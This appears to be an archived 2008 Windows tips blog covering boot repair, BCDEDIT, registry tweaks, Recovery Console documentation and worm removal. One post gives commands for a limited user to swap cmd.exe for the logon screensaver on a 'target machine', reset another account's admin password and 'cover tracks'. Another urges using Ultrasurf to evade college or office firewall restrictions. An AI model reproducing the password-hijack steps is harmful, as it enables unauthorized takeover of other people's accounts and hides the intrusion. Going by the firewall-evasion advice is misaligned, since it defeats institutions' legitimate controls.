How to access the protected and so called phished out sites in a college subnetwork or office subnetwork....ALso access the GTALK and Yahoo and any messenger and chatting softwares....? lets say that ur behind a firewall in a lan subnet in which ur college school or office provides u internet but with restricted sites...that is u cant open any other site except those allowed.... Download a software from this site .... http://www.ultrareach.com/downloads/ultrasurf/u.zip (tested TROJAN FREE) its called ultrasurf !!! see how it works... u just have to extract the exe file outta zip file....then run the exe file...it will automatically detect ur network and router or proxy server...theere are 3 bars which will be flooded with connectivity indicators....now ur free to access anything.....just change ur browsers ip to 127.0.0.1 and port to 9666 and u can access anything....works for chat softwares too..like gtalk and yahoo |
Tuesday, September 23, 2008
Access Restricted Sites And Internet From Lan Office School college!!!
Monday, September 22, 2008
Very Slow Boot When Networking
the computer boot time is over 1:40. The system seems to freeze after logging in and the
desktop may not appear or will freeze for a minute. As timed with the utility,
Bootvis.exe, the problem was with the driver mrxsmb.dll, adding over 67 seconds to the
boot time. Turning off and restoring file and printer sharing eliminated 65 seconds from
the boot time.
1· Alt + click (or right-click) on Network Places > Properties.
2· Alt + click on Ethernet Adapter connection > Properties.
3· Un-check "File and Printer Sharing for Microsoft Networks" > OK.
4· Reboot.
5· If you need file or printer sharing, repeat the above, re-check the box and re-boot
again.
There is also a chance of system getting hacked when File and Printer Sharing is enabled.
Enable Autologon
Select Run... from the start menu and type control userpasswords2 , which will open the user accounts application.
On the Users tab, clear the box for
Users Must Enter A User Name And Password To Use This Computer , and click on OK.
An Automatically Log On dialog box will appear; enter the user name and password for the account you want to use.
Enable IPv6 in XP
You can lock your XP workstation with two clicks of the mouse.
rundll32.exe user32.dll,LockWorkStation
in the location field.
Give the shortcut a name you like.
That's it -- just double click on it and your computer will be locked.
And if that's not easy enough, Windows key + L will do the same.
Delete files without moving to Recycle bin.
Go to the Start menu, select Run... and type gpedit.msc
then select User Configuration, Administrative Templates, Windows Components, Windows Explorer and find the Do not move deleted files to the Recycle Bin setting.
Set it or click enable
Gpedit.msc is available only in Xp Professionals and later.
How to Clone a Hard Drive
Make sure that you have a Master and a Slave setup on your system. The Slave drive, in this case, is where all the data on the Master is going to go to.
First: Perform a Scandisk your Master drive and follow that with a thorough Defrag. If you have an Antivirus program, do a thorough sweep with the AV first, then do the Scandisk, followed by the Defrag.
Second: Do the same thing to the target drive, as you did the Master: Scandisk then a thorough Defrag.
Third: Right-click on the Target drive and click on Format. When the box comes up, click your mouse onto the "Full" button.
Fourth: After Formatting the Target drive, run a Scandisk again and click on the button that says "Autofix Errors".
Fifth: In this final part, you might want to cut-and-paste to code in, unless you are sure that you can do it without making any mistakes:
Click on the "Start" button, then click on the "Run..." button, then place the following into the Runbox:
"XCOPY C:\*.*D:\ /c/h/e/k/r" (please remove the quotes, of course) then press the "Enter" button.
If you receive an error message, then remove the space from between XCOPY and C:\
Anything that should happen to come up in the DOS box, just click "Y" for "Yes". When its all finished, pull the original Master from the system, designate the Slave as the Master (change your jumpers), then check your new Master out.
This tut has worked and has been tested on all systems except for Windows 2000, so you really shouldn't have any problems.
i have assumed that both your master and slave harddrive had 1 partition , where c: is of master and d: is of slave.
Thursday, September 18, 2008
How to Repair the Boot Sector:
To replace damaged ntldr and ntdetect.com you can copy fresh files from the XP CD using the COPY command. Boot with the XP CD and enter the Recovery Console (as above). At the Command Prompt type the following (where "X" is your CD-Rom drive letter) allowing the files to overwrite the old files
COPY X:\i386\NTLDR C:
COPY X:\i386\NTDETECT.COM C:
To repair a damaged Boot Sector at the recovery console type FIXBOOT and press Enter. Then answer "Y"
How To Format using the Recovery Console :
Use the above command (where /Q performs a quick format of the drive, drive is the drive letter of the partition to format /FS:file-system specifies the type of file system to use [FAT, FAT32, or NTFS]) to format the specified drive to the specified file system. For example the following quick formats C partition as NTFS
the following will do a full format of C as FAT32
*** Note: If a file system is not specified, then the existing file system format is retained.
Type EXIT to quit the Recovery Console and restart your Computer
Sunday, September 14, 2008
Memory Trick To Speedup Windows Xp
When programs run in Windows XP, they frequently use what are called DLLs (Dynamic-Link Libraries).
These contain shared programming instructions and other files like icons, graphics, sounds, etc. that different applications use in order to run. DLLs are stored in RAM whenever the applications load them; when you quit a program, XP is supposed to release the DLL from memory. But some DLLs can get stuck.
Here is the method to mend this up.
Step 1: You can force Windows XP to release DLLs by adding a Registry key.
Step 2: Select Start > Run >Enter regedit >Hit Ok
Step 3: This will open the Registry Editor and navigate to
My Computer -> HKEY_LOCAL_MACHINE -> SOFTWARE -> Microsoft -> Windows -> CurrentVersion -> Explorer.
Step 4: Right click on EXPLORER in the Left Pane, Select New > Key.
Step 5: Name it as AlwaysUnloadDLL and double click & set the default value to 1.
Step 6: Restart Windows to activate the change.
Installing Xp after Vista
Installing an earlier operating system like Windows 2000, Windows XP or Windows Server 2003 on ones system after Windows Vista has been installed results in one being unable to boot into Vista.
The processes below enable one to recover the ability to boot into Windows Vista in the instance where Windows Vista was installed on the system drive and the boot system files [Boot (folder), bootmgr, Boot.BAK and BOOTSECT.BAK], have not been damaged or removed.
1. To install a previous version of Windows onto a computer running Windows Vista (Post-Beta 2)
With Windows Vista Beta 2 as well as in Windows Vista Build 5456, the only command one needs to run is:
bootsect /NT60 ALL
(Copy bootsect.exe from the boot folder of your Windows Vista DVD and paste it into your Windows XP Windows\system32 folder)
This pulls all Windows operating systems into the Windows Vista boot menu.
2. To install a previous version of Windows onto a computer running Windows Vista (Pre-Beta 2)
1. Install the previous version of Windows.
2. Log on to the older operating system and restore the latest boot manager by running the following command from the run dialogue box (fixntfs.exe will be in the \boot directory of the active partition which is usually C:\ Drive).
C:\boot\fixntfs /lh
3. Create a BCD (Boot Configuration Data) entry for the older operating system by specifying the following.
bcdedit.exe is located in the \Windows\System32 directory of the Windows Vista partition. To access bcdedit.exe from within Windows XP you need to use the Command Prompt (in run menu type cmd) and point to bcdedit.exe.
Description is the description of the new entry for the older operating system.
bcdedit /create {legacy} /d “Description”
bcdedit /set {legacy} device boot
bcdedit /set {legacy} path \ntldr
bcdedit /displayorder {legacy} /addlast
4. Restart the computer in order for the changes to take effect.
NOTE: You will need a basic understanding of the use of bcdedit.exe in order to use these commands effectively. Go to How To: Edit the Windows Vista Boot Menu Options – BCDEDIT for more information and for and easy way to make changes to the BCD use VistaBootPRO
It is not recommended that you install an earlier Windows Operating System (such as Windows XP or Windows Server 2003) AFTER installing Windows Vista as you will not be able to boot into Windows Vista thereafter, unless one follows the procedure outlined above. It should also be noted that one risks not being able to boot into either Operating System if an error occurs during the execution of these commands.
Friday, September 12, 2008
How to Speed up Firefox3
1. Type “about:config” (without quotes) into the address bar and hit enter. You will get a warning message saying “changing these settings can be harmful to the stability, security and performance”. Just below the message click on the button “I’ll be careful, I promise”
2. Now, scroll down and look for the following entries:
network.http.pipelining
network.http.proxy.pipelining
network.http.pipelining.maxrequests
You need to alter the above entries as follows:
Set “network.http.pipelining” to “true”
Set “network.http.proxy.pipelining” to “true”
Set “network.http.pipelining.maxrequests” to some number like 30.
This means it will make 30 requests at once.
3. Once done right-click anywhere and select New> Integer.
Name it “nglayout.initialpaint.delay” and set its value to “0″.
This value is the amount of time the browser waits before it acts on information it receives.
How to Use Greasemonkey in Opera
1. Download the Greasemonkey script you want to use.2. Now, rename the script so that it ends with “.user.js”
3. Open Opera and go to Tools > Preferences > Advanced > Content and click the LavaScript Options button.
4. In User JavaScript files field, choose the location of your scripts folder and click OK.5. Restart Opera for the changes to take effect.
Few Xp Secrets
Instructions - Warning: Proceed at your own risk! Browse to C:\Windows\inf\ and make a backup copy of sysoc.inf. Then open the original file C:\Windows\inf\sysoc.inf in notepad. Go to "Edit" and select "Replace". In "Find what:" type ,hide and in "Replace with:" type show, then select "Replace All", save and close the file. Go to the "Control Panel", "Add/Remove", select "Add/Remove Windows Components". You will now see many more Windows components to uninstall. Do not remove anything with no label or that you do not recognize or fully understand what it does. Doing so can break certain functionality in Windows.
Secret - Hidden Devices
Instructions - Go to the "Control Panel", "System" icon, "Hardware" tab and select "Device Manager". Select "View" and Show hidden devices.
Secret - Phantom Devices
Instructions - Go to "Start", "Programs", "Accessories" and select "Command Prompt". At the command prompt, type "set devmgr_show_nonpresent_devices=1" and press Enter. At the command prompt, type "start devmgmt.msc" and press Enter. Select "View" and Show hidden devices. You can see devices that are not connected to the computer. - Source
Notes - When you close the command prompt window, Windows clears the "devmgr_show_nonpresent_devices=1" variable that you set and prevents phantom devices from being displayed when you select "Show hidden devices".
How To: Edit the Windows Vista Boot Menu Options - BCDEDIT
Introduction
In Windows Vista, the Boot Configuration Data (BCD) store contains boot configuration parameters which control how the operating system is started in the Windows Vista and Windows Server Code Name "Longhorn" operating systems. These were found in the boot.ini file in previous versions of Microsoft Windows. To edit the Windows Vista Boot Menu Options, the Boot Configuration Data Editor - BCDEDIT is used.
The Bcdedit.exe command-line tool can be used to add, delete and edit entries in the BCD store which contains objects. Each object is identified by a GUID (Globally Unique Identifier). Every drive or partition on the system will have its own GUID and could be {legacy} (to describe a drive or partition on which a pre-Windows Vista operating system), {default} (to describe the drive or partition containing the current default operating system), or {current} (to describe the current drive or partition one is booted to), or for example {c34b751a-ff09-11d9-9e6e-0030482375e7} (to describe another drive or partition on which an operating system has been installed).
Bcdedit.exe is located in the \Windows\System32 directory of the Windows Vista partition and can be accessed only from the Command Prompt which is found on the Windows Vista start menu at Start>All Programs>Accessories
Command-line Help
bcdedit /? Shows all commands one is able to use
bcdedit.exe /? CREATESTORE Shows detailed information for the command CREATESTORE or any other command available in bcdedit as shown when running bcdedit /? followed by the particular command more information is required for.
bcdedit or bcdedit /enum all Shows the current structure of your boot configuration data.
The GUID tags {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx} of all Windows installations present on your computer will be displayed.
Create a Backup
It is strongly recommended that one creates a backup of the BCD store before making any changes to it.
bcdedit /export "D:\BCD Backup\Bcd Backup" Creates a backup to a pre-created folder, in this case "BCD Backup" on drive D:
bcdedit /import "D:\BCD Backup\Bcd Backup" Restores the backup previously created
Making Changes to the Boot Configuration Data
Before making any changes or attempting to use the commands below, run the command bcdedit or bcdedit /enum all to make sure that you use the correct GUID tag. These have been seen to change from build to build and it may be necessary to use {ntldr} instead of {legacy} for example.
bcdedit /set {legacy} Description "Windows XP Professional SP2" Changes the text description of the "Legacy" OS line in the boot menu. The quotation marks must be included in the command
bcdedit /set {current} description "Windows Vista Build 5270 x86" Changes the text of the boot menu line for the Vista or non-Vista installation one is currently booted to, from the default "Microsoft Windows" or other description to that shown in the quotation marks
bcdedit /set {5189b25c-5558-4bf2-bca4-289b11bd29e2} description "Windows Vista Build 5270 x64" Changes the text of the boot menu line for any other Vista installation. One must use the GUID for that particular installation as shown when one runs the bcdedit or bcdedit /enum all command
bcdedit /default {current} Sets the current Windows installation one is booted to as the default Windows boot OS
bcdedit /default {5189b25c-5558-4bf2-bca4-289b11bd29e2} Sets the referenced Windows OS as the {default} Windows boot OS
bcdedit /default {legacy} Sets the legacy (Windows XP) OS as {default} boot item
bcdedit /displayorder Sets the display order of boot menu items for example:
bcdedit.exe /displayorder {legacy} {current}
bcdedit /timeout 15 Changes the default 30 second time-out of the boot menu to 15 seconds or any other value inserted.
Correcting changes to the Partition/Disk structure
Where a partition or a hard drive has been added or removed and has caused the partition/disk structure to change, this can be corrected by running these commands in the order shown:
X:\>X:\boot\fixntfs.exe -lh -all (Where X: is the drive/partition on which the folder "boot" is to be found)
bcdedit /set {5189b25c-5558-4bf2-bca4-289b11bd29e2} device partition=X: Changes boot partition of the OS whose GUID is indicated. (Where X: is new drive/partition required). Must be used together with the osdevice command below
bcdedit /set {5189b25c-5558-4bf2-bca4-289b11bd29e2} osdevice partition=X: Changes boot partition of the OS whose GUID is indicated. (Where X: is new drive/partition required). Must be used together with the device command above
Msconfig - System Configuration Utility
The System Configuration Utility (msconfig) is accessible from the Windows Vista start menu, Start>All Programs>Accessories>System Tools>System Configuration. It has limited funcionality as regards the BCD store however, with the only relevant functionalities being to change the default boot operating system, to delete a boot menu item and to change the timeout display period of the boot menu.
CAUTION: Making incorrect or invalid changes to one's BCD store can result in the system no longer booting and only those comfortable with using command line entries and who understand the inherent risks of making a mistake should do so.
Advanced Options
Please do not run these commands unless you know what the outcome will be.
bcdedit /set {current} numproc 2
bcdedit /set {current} removememory 0
Source:http://www.pronetworks.org
Thursday, September 11, 2008
Start applications on specific CPU and priority
There is a great little utility that has been around for ages in Windows called the start command. This dos command allows you to start any process with advanced settings. In Windows Vista it is perfect if you want to start an application and tell windows to only run it on one CPU and at a high priority level. For example, let's say that you want to start Microsoft Paint and have it run on your second CPU core at Above Normal priority. The command below will accomplish this:
start /affinity 2 /abovenormal mspaint.exe
You can customize the command above and replace the 2 with the processor number (in hex) that you want the processor to run on. You can also adjust the priority level by using one of the flags below:
- /Low
- /Normal
- /High
- /Realtime
- /Abovenormal
- /Belownormal
Disable Welcome Center
Windows Vista is provided with Welcome Center that is designed to help beginner Windows users easily configure their new computer. This new welcome screen is a nice feature the first time you start using Windows vista but quickly becomes annoying.
Disabling the Welcome Center can speed up your boot .
1. Start Regedit (press winkey+r or click on run found on start menu).
2. Navigate through HKEY_CURRENT_USER, Software, Microsoft, Windows, CurrentVersion, Run.
3. Right click on the WindowsWelcomeCenter key and select Delete.
The next time you restart the Welcome Center will be gone.
Tuesday, September 9, 2008
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Monday, September 8, 2008
INTERNET EXPLORER Speed up STARTUP .
1. Right-click on any shortcut you have to IE
[You should create a shortcut out of your desktop IE icon, and delete the original icon]
2. Click Properties
3. Add ' -nohome' [with a space before the dash] after the endquotes in the Target field.
4. Click OK
Fire up IE from your modified shortcut, and be amazed by how fast you are able to use IE!
~ cheers ~ (it works)
INTERNET EXPLORER SPEED UP.
Edit your link to start Internet Explorer to have -nohome after it. For Example: "C:\Program Files\Internet Explorer\IEXPLORE.EXE" -nohome
This will load internet explorer very fast because it does not load a webpage while it is loading. If you want to go to your homepage after it is loaded, just click on the home button.
or
Open registry editor by going to Start then >> Run and entering >> regedit.
Once in registry, navigate to key.
HKEY_CURRENT_USER\Software\microsoft\Windows\CurrentVersion\InternetSettings. Right click @ windows right > New > DWORD.
Type MaxConnectionsPerServer > You can set value (the more higher the no, the more good speed u get, e;g : 99). [99 in hexa so 153 in binary]
Create another DWORD >type MaxConnectionsPer1_0Server. Then put a high value as mentioned above.
Restart I.E and you are done.
Windows XP Speedup Tricks
In Windows XP Professional, you have two remote networking features called Remote Assistance and Remote Desktop Sharing. These remote networking features are very helpful in a variety of situations but if you don't use them, it is good idea to disable them to save boot time. You can always enable them later if you want to use them.
Note:
If you are interested in using Remote Desktop or Remote Assistance, see book Windows XP for Power Users: Power Pack published by John Wiley & Sons.
1. Open the Start menu, right-click My Computer, and choose Properties.
2. Click the Remote Tab.
3. Clear both check boxes to disable Remote Assistance and Remote Desktop.
Speeding Up the Dual-Boot Timeout !
If you dual-boot your computer with Windows XP and another operating system, you see an operating system selection menu on startup. If you typically boot into Windows XP and not the other operating system, you can speed up the dual-boot timeout value so that you do not wait so long for the boot process to select your default operating system and continue with the boot process. The default timeout value is 30 seconds but you can change this setting to 10. This gives you enough time to select the alternate operating system if you want but also speeds up the boot process. You can skip this section if you do not use a dual-boot configuration.
Follow these steps:
1. Locate the boot.ini file on your computer. It is a hidden file by default; mine is located in C:\boot.ini.
2. Open the file with Notepad (which is what opens it by default).
3. Change the Timeout value to 10 (see Figure 4-11).
4. Select File/Save and close Notepad.
Speeding Up Your PPPoE Connection !
If you use a Point-to-Point Protocol connection over Ethernet (PPPoE), you may notice a delay in using the PPPoE connection after startup. By default, there is a 120 second delay but you can stop this behavior by manually configuring an IP address for the network adapter card. If you do not use a PPPoE connection, you can skip this section.
1. Select Start/Connect to/Show All Connections.
2. Open the TCP/IP properties for your LAN network interface card.
3. Manually set the IP address on the TCP/IP properties to an appropriate IP address and subnet mask for your network.
Removing Unwanted Fonts !
To delete unneeded fonts, follow these steps:
1. Open the Fonts folder in Control Panel.
2. Select Edit/Select All and then Edit/Copy.
3. Create a new folder on your desktop, open it, and select Edit/Paste.
4. In this new folder, delete any of the fonts you do not want.
5. Return to the Fonts folder in Control Panel. Right-click the selected fonts and click Delete.
6. Go back to your new desktop folder and click Edit/Select All.
7. Return to your Fonts folder and click Edit/Paste. You now have only the desired fonts in the Fonts folder.
Tip:
You can directly delete fonts from the Fonts folder without creating the secondary folder. However, I recommend the preceding steps to help ensure that you do not make a mistake in the deletion process.
Disabling Recent Documents History !
The bad thing about Recent Documents History is that Windows XP has to calculate what should be put there each time you boot Windows, which can slow things down. So, if you never use the Recent Documents History, it's a good idea to disable it. Here's how:
1. Open the Registry Editor (select Start/Run, type regedit, and click OK).
2. Navigate to HKEY_CURRENT_USER\Software\Mcft\Windows\ CurrentVersion\Policies\Explorer.
3. Create a NoRecentDocsHistory D_WORD key. Double-click the value to open it once it is created.
4. Set the Data Value to 1 to enable the restriction.
5. Click OK and close the Registry Editor. You'll need to restart the computer for the change to take effect.
SPEED UP BOOT BY DISABLING UNUSED PORTS.!!
Device Manager. for example, if you don't have input devices that are connected to one of your USBs or COM ports, disabling them will give you an extra perfromance boost in booting. Go to Control Panel -> System -> Hardware tab -> device manager Disable devices that you don't use for your PC and then restart.
Do Dis !!
1.Start Registry Editor (Regedit.exe).
2.Locate the following key in the registry:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\
SessionManager\MemoryManagement\PrefetchParameters
3.Make sure you backup the keys by exporting them to a .reg file.
4.On the EnablePrefetcher value, change the setting from 3 to 5 (decimal).
5.Close the registry editor.
6.Restart your computer
>
Sunday, September 7, 2008
Automatic Administrator Login:
Open REGEDIT(Win Key +R) and Go to Key Below
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
You Wind Find DWORD AutoAdminLogon
Just Double CLick and Set It to 1
Reset Windows XP Admin Pass without any software
If you log into a limited account on your target machine and open up a dos prompt ,then enter this set of commands Exactly:
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
Now what you have just done is told the computer to backup the command programand the screen saver file, then edits the settings so when the machine boots thescreen saver you will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes
"net user password"
If the Administrator Account is called Frank and you want the password blah enter this
"net user Frank blah"
and this changes the password on franks machine to blah and your in.
Have fun
p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks
Friday, September 5, 2008
Remove the Shared Documents folders from My Computer
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ My Computer \ NameSpace \ DelegateFolders
You'll see a sub-key named {59031a47-3f72-44a7-89c5-5595fe6b30ee}. If you delete this, all of the Shared Documents folders (which are normally under the group called "Other Files Stored on This Computer") will be gone.
You do not need to reboot your system to see the change.
Automatically defrag drives with a new context menu item!
; context_defrag.INF
; Adds Defrag to the right click context menu in Windows XP
[version]
signature="$CHICAGO$"
[DefaultInstall]
AddReg=AddMe
[AddMe]
HKCR,"Drive\Shell\Defrag\command",,,"DEFRAG.EXE %1"
Then, right-click and choose Install. This will add a context menu to XP that allows you to automatically defrag drives, using the command line version of the built-in defragmentation utility. To use it, navigate to a drive in My Computer, right-click, and choose Defrag. A command line window will appear, and that drive will be defragged. When it's complete, the window just disappears.
UPDATE: To remove this functionality, Open regedit.exe and navigate to the following location:
HKEY_CLASSES_ROOT\Drive\shell\
Then delete the Defrag folder and close Regedit.
Delete files when the Recycle Bin is hidden
Wednesday, September 3, 2008
Help and Support Is Missing
Press Windows key +R (or click on run found on start menu) and type
helpctr -regserver
How to install the Recovery Console (Originally Posted By MICROSOFT Help & Support)
Although you can run the Recovery Console by starting directly from the Windows XP CD, it is generally more convenient to set it up as a startup option on your startup menu. To run the Recover Console directly from the CD, see the "How to use the Recovery Console" section.
To install the Recovery Console, follow these steps:
1. | Insert the Windows XP CD into the CD-ROM drive. |
2. | Click Start, and then click Run. |
3. | In the Open box, type d:\i386\winnt32.exe /cmdcons where d is the drive letter for the CD-ROM drive. In the case of 'Microsoft Windows XP Professional x64 Edition, type d:\amd64\winnt32.exe /cmdcons where d is the drive letter for the CD-ROM drive. |
4. | A Windows Setup Dialog Box appears. The Windows Setup Dialog Box describes the Recovery Console option. To confirm the installation, click Yes. |
5. | Restart the computer. The next time that you start your computer, "Microsoft Windows Recovery Console" appears on the startup menu. |
Note You may receive an error message that is similar the following:
How to use the Recovery Console
You can enable and disable services, format drives, read and write data on a local drive (including drives that are formatted to use the NTFS file system), and perform many other administrative tasks. The Recovery Console is particularly useful if you have to repair your computer by copying a file from a disk or CD-ROM to your hard disk, or if you have to reconfigure a service that is preventing your computer from starting correctly.If you cannot start your computer, you can run the Recovery Console from the Microsoft Windows XP startup disks or the Windows XP CD-ROM. This article describes how to perform this task.
After Windows XP is installed on your computer, to start the computer and use the Recovery Console you require the Windows XP startup disks or the Windows XP CD-ROM.
For more information about how to create Startup disks for Windows XP (they are not included with Windows XP), click the following article number to view the article in the Microsoft Knowledge Base:
To run the Recovery Console from the Windows XP startup disks or the Windows XP CD-ROM, follow these steps:
1. | Insert the Windows XP startup disk into the floppy disk drive, or insert the Windows XP CD-ROM into the CD-ROM drive, and then restart the computer. Click to select any options that are required to start the computer from the CD-ROM drive if you are prompted. |
2. | When the "Welcome to Setup" screen appears, press R to start the Recovery Console. |
3. | If you have a dual-boot or multiple-boot computer, select the installation that you must access from the Recovery Console. |
4. | When you are prompted, type the Administrator password. If the administrator password is blank, just press ENTER. |
5. | At the command prompt, type the appropriate commands to diagnose and repair your Windows XP installation. For a list of commands that are available in Recovery Console, type recovery console commands or help at the command prompt, and then press ENTER. For information about a specific command, type help commandname at the command prompt, and then press ENTER. |
6. | To exit the Recovery Console and restart the computer, type exit at the command prompt, and then press ENTER. |
How to use the Recovery Console command prompt
When you use the Recovery Console, you are working at a special command prompt instead of the ordinary Windows command prompt. The Recovery Console has its own command interpreter. To enter this command interpreter, you are prompted by Recovery Console to type the local Administrator password.When the Recovery Console starts, you can press F6 to install a third-party SCSI or RAID driver, in case you need such a driver to access the hard disk. This prompt works the same as it does during installation of the operating system.
The Recovery Console takes several seconds to start. When the Recovery Console menu appears, a numbered list of the Windows installations on the computer appears. (Generally, only c:\Windows exists.) Press a number before you press ENTER, even when only one entry appears. If you press ENTER without selecting a number, the computer restarts and begins the process again.
When you see the prompt for %SystemRoot% (generally C:\Windows), you can start using the available commands for the Recovery Console.
Command actions
The following list describes the available commands for the Recovery Console:• | Attrib changes attributes on one file or subdirectory. |
• | Batch executes commands that you specify in the text file, Inputfile. Outputfile holds the output of the commands. If you omit the Outputfile parameter, output appears on the screen. |
• | Bootcfg modifies the Boot.ini file for boot configuration and recovery. |
• | CD (Chdir) operates only in the system directories of the current Windows installation, removable media, the root directory of any hard disk partition, or the local installation sources. |
• | Chkdsk The /p switch runs Chkdsk even if the drive is not flagged as dirty. The /r switch locates bad sectors and recovers readable information. This switch implies /p. Chkdsk requires Autochk. Chkdsk automatically looks for Autochk.exe in the startup folder. If Chkdsk cannot find the file in the startup folder, it looks for the Windows 2000 Setup CD-ROM. If Chkdsk cannot find the installation CD-ROM, Chkdsk prompts the user for the location of Autochk.exe. |
• | Cls clears the screen. |
• | Copy copies one file to a target location. By default, the target cannot be removable media, and you cannot use wildcard characters. Copying a compressed file from the Windows 2000 Setup CD-ROM automatically decompresses the file. |
• | Del (Delete) deletes one file. Operates within the system directories of the current Windows installation, removable media, the root directory of any hard disk partition, or the local installation sources. By default, you cannot use wildcard characters. |
• | Dir displays a list of all files, including hidden and system files. |
• | Disable disables a Windows system service or driver. The variable service_or_driver is the name of the service or driver that you want to disable. When you use this command to disable a service, the command displays the service's original startup type before it changes the type to SERVICE_DISABLED. Note the original startup type so that you can use the enable command to restart the service. |
• | Diskpart manages partitions on hard disk volumes. The /add option creates a new partition. The /delete option deletes an existing partition. The variable device is the device name for a new partition (such as \device\harddisk0). The variable drive is the drive letter for a partition that you are deleting (for example, D). Partition is the partition-based name for a partition that you are deleting, (for example: \device\harddisk0\partition1) and can be used instead of the drive variable. The variable size is the size, in megabytes, of a new partition. |
• | Enable enables a Windows system service or driver. The variable service_or_driver is the name of the service or driver that you want to enable, and start_type is the startup type for an enabled service. The startup type uses one of the following formats: SERVICE_BOOT_START SERVICE_SYSTEM_START SERVICE_AUTO_START SERVICE_DEMAND_START |
• | Exit quits the Recovery Console, and then restarts the computer. |
• | Expand expands a compressed file. The variable source is the file that you want to expand. By default, you cannot use wildcard characters. The variable destination is the directory for the new file. By default, the destination cannot be removable media and cannot be read-only. You can use the attrib command to remove the read-only attribute from the destination directory. The option /f:filespec is required if the source contains more than one file. This option permits wildcard characters. The /y switch disables the overwrite confirmation prompt. The /d switch specifies that the files will not be expanded and displays a directory of the files in the source. |
• | Fixboot writes a new startup sector on the system partition. |
• | Fixmbr repairs the startup partition's master boot code. The variable device is an optional name that specifies the device that requires a new Master Boot Record. Omit this variable when the target is the startup device. |
• | Format formats a disk. The /q switch performs a quick format. The /fs switch specifies the file system. |
• | Help If you do not use the command variable to specify a command, help lists all the commands that the Recovery Console supports. |
• | Listsvc displays all available services and drivers on the computer. |
• | Logon displays detected installations of Windows and requests the local Administrator password for those installations. Use this command to move to another installation or subdirectory. |
• | Map displays currently active device mappings. Include the arc option to specify the use of Advanced RISC Computing (ARC) paths (the format for Boot.ini) instead of Windows device paths. |
• | MD (Mkdir) operates only within the system directories of the current Windows installation, removable media, the root directory of any hard disk partition, or the local installation sources. |
• | More/Type displays the specified text file on screen. |
• | Rd (Rmdir) operates only within the system directories of the current Windows installation, removable media, the root directory of any hard disk partition, or the local installation sources. |
• | Ren (Rename) operates only within the system directories of the current Windows installation, removable media, the root directory of any hard disk partition, or the local installation sources. You cannot specify a new drive or path as the target. |
• | Set displays and sets the Recovery Console environment variables. |
• | Systemroot sets the current directory to %SystemRoot%. |
Recovery Console rules
Several environment rules are in effect while you are working in the Recovery Console. Type set to see the current environment. By default, these are the rules:• | AllowAllPaths = FALSE prevents access to directories and subdirectories outside the system installation that you selected when you entered the Recovery Console. |
• | AllowRemovableMedia = FALSE prevents access to removable media as a target for copied files. |
• | AllowWildCards = FALSE prevents wildcard support for commands such as copy and del. |
• | NoCopyPrompt = FALSE means that you are prompted by the Recovery Console for confirmation when overwriting an existing file. |
How to delete the Recovery Console
To delete the Recovery Console:1. | Restart your computer, click Start, click My Computer, and then double-click the hard disk where you installed the Recovery Console. |
2. | On the Tools menu, click Folder Options, and then click the View tab. |
3. | Click Show hidden files and folders, click to clear the Hide protected operating system files check box, and then click OK. |
4. | At the root folder, delete the Cmdcons folder and the Cmldr file. |
5. | At the root folder, right-click the Boot.ini file, and then click Properties. |
6. | Click to clear the Read-only check box, and then click OK. Warning: Modifying the Boot.ini file incorrectly may prevent your computer from restarting. Make sure that you delete only the entry for the Recovery Console. Also, change the attribute for the Boot.ini file back to a read-only state after you finish this procedure. Open the Boot.ini file in Microsoft Windows Notepad, and remove the entry for the Recovery Console. It looks similar to this: C:\cmdcons\bootsect.dat="Microsoft Windows Recovery Console" /cmdcons |
7. | Save the file and close it. |
How to install Recovery Console during an unattended installation
To install the Recovery Console during the unattended installation of Windows, you must use the [GuiRunOnce] section of the unattend.txt file.REFERENCES
For more information about how to do this, click the following article number to view the article in the Microsoft Knowledge Base:
APPLIES TO
• | Microsoft Windows XP Professional |
• | Microsoft Windows XP Home Edition |
Fix Windows Boot Error
If you got “invalid boot.ini”
You may be able to take a shortcut if you’ve previously insalled recovery console. If you can boot to Recovery Console, follow these steps to rebuild a broken boot.ini file:
attrib -h -r -s C:\boot.ini
del C:\boot.ini
bootcfg /rebuild
If you got the message “Windows XP could not start because the following file is missing or corrupt”, with a reference to a hive file or something in the system32 directory, see How to recover from a corrupted registry that prevents Windows XP from starting and How to troubleshoot registry corruption issues.
Tuesday, September 2, 2008
How to remove I don’t hate Firefox, but use only Internet explorer Worm
* This is what it does
* Allows others to access the computer
* Steals information
* Reduces system security
* Installs itself in the Registry
Solution:
#1 Reboot Your computer in safe mode and the look for a file smsc.exe in c:\windows\system32\. Delete it.(or type in run menu %windir%\system32\)
#2 It Installs itself through registry . So the best way is to remove it so it never starts again when you computer does. Look for following entries in your registry ( WIN KEY + R and then Type REGEDIT in run box )
* HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32 USB Driver
* HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce\Win32 USB Driver
* HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32 USB Driver
Remove them and close registry editor. Reboot once again. Update your system with latest virus updates. The problem should be solved
How To Get Rid of “Orkut is Banned you Fool…” Virus
* Pressing Ctrl + Alt + Del, open the Task Manager and go to the tab “Process”
* Locate svchost.exe under the image name. There will be many processes by that name but look for the ones which have your username under the username. Just kill these processes by pressing Del key. Only kill those which have your username under the username and leave the rest
* Open the run command and type C:\heap41a and press enter. This is a hidden folder. Delete all the contents of this folder
* Open the registry by typing regedit in the run box(Windows key+R)
* Search for heap41a in the registry by using the find command
* You will get something like this “[winlogon] C:\heap41a\svchost.exe C:\heap41a\std.txt“. Just delete the entries by pressing the del key
* Close the registry editor
How to avoid keyloggers by scramble keystokes on public computers ?
What are keyloggers ?
Key Loggers are software or hardware tools to that captures the user’s keystrokes from keyboard. It can be useful to determine sources of error in computer systems and is sometimes used to measure employee productivity on certain clerical tasks. However, keyloggers are widely available on the Internet and can be used by private parties to spy on the computer usage of others hence stealing users private data.
Aim of this post on keyloggers
